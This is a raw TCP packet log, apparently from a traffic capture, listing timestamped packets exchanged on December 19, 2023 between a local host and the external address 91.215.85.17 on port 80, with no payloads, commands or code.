Dec 19, 2023 03:22:29.407433033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.407454014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.407473087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.407680988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.407835960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.407876968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.407906055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.407929897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.407943964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.407965899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.407977104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.407993078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408027887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408092022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408104897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408133030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.408153057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408155918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.408168077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408205986 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.408207893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408252001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.408298016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408369064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408389091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408406973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408410072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.408426046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408432961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.408464909 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.408474922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408601999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408651114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408664942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408689022 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.408713102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.408797979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408837080 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408855915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408875942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408876896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.408919096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.408938885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.408952951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409024954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409063101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.409092903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409106970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409147978 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.409491062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409532070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.409542084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409555912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409594059 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.409595013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409640074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.409667969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409681082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409693956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409730911 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.409733057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409746885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409746885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.409787893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.409867048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409924030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409941912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409955978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.409979105 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.410002947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.410077095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.410094023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.410115957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.410130978 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.410577059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.410742998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.410784960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.410794020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.410818100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.410825968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.410845995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.410865068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.410886049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.410936117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.410952091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.410969019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.410989046 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.411010027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.411114931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.411195993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.411212921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.411231995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.411235094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.411246061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.411274910 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.411283016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.411318064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.411462069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.411489010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.411503077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.411526918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.411556959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.411570072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.411588907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.411607981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.411631107 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.411971092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412015915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412028074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412040949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412055016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412062883 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.412075043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412087917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.412089109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412107944 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.412341118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412380934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412381887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.412444115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412458897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412486076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.412511110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412549019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412575960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412585020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.412607908 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.412647009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412755013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412805080 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412844896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.412858009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412902117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412939072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.412945986 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.412981033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.413016081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.413032055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.413068056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.413115025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.413126945 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.413162947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.413220882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.413275957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.413703918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.413723946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.413743019 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.413744926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.413758039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.413774014 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.413789988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.413976908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414033890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414050102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414063931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414081097 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.414103031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.414230108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414298058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414335012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414376974 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.414390087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414406061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414443970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414443970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.414479971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.414500952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414519072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414558887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.414802074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414819002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414860964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.414896011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414908886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.414952993 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.415081024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415093899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415137053 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.415158033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415170908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415198088 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.415261984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415277958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415318966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415318966 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.415337086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415646076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415688038 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.415759087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415851116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415895939 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.415915966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415931940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.415952921 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.416012049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.416063070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.416074038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.416099072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.416122913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.416465998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.416554928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.416568995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.416591883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.416593075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.416627884 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.416655064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.416676044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.416708946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.416747093 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.416750908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.416977882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417016029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.417172909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417211056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.417279005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417351961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417363882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417404890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.417469978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417504072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417550087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.417557001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417568922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417588949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.417668104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417680025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417696953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417716980 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.417735100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.417757988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417912960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417923927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417942047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417952061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.417964935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.417987108 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.418577909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.418689013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.418735981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.418739080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.418778896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.418790102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.418834925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.418853998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.418864965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.418899059 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.418906927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.418970108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.418982983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419003963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419006109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.419018030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419027090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.419056892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.419084072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419138908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419162989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419200897 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.419207096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419224024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419264078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.419271946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419313908 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.419321060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419419050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419434071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419445992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419473886 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.419477940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419493914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.419567108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419579983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419625044 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.419754982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419775009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419816971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419822931 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.419850111 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.419874907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419939995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419975996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.419980049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.420018911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.420038939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.420061111 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.420979023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421005011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421041965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421050072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.421087027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421120882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421127081 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.421159029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.421169043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421305895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421327114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421338081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421344042 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.421384096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.421386957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421749115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421789885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421811104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421828985 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.421829939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421852112 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.421864033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421900988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.421938896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.421983957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.422048092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.422053099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.422065973 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.422699928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.422715902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.422735929 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.422738075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.422790051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.422827959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.423074961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.423115969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.423160076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.423172951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.423186064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.423207998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.423743010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.423784971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.423796892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.423820019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.423826933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.423841000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.424225092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.424242020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.424278021 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.424360991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.424408913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.424448013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.424552917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.424570084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.424592018 CET	49738	80	192.168.2.4	91.215.85.17
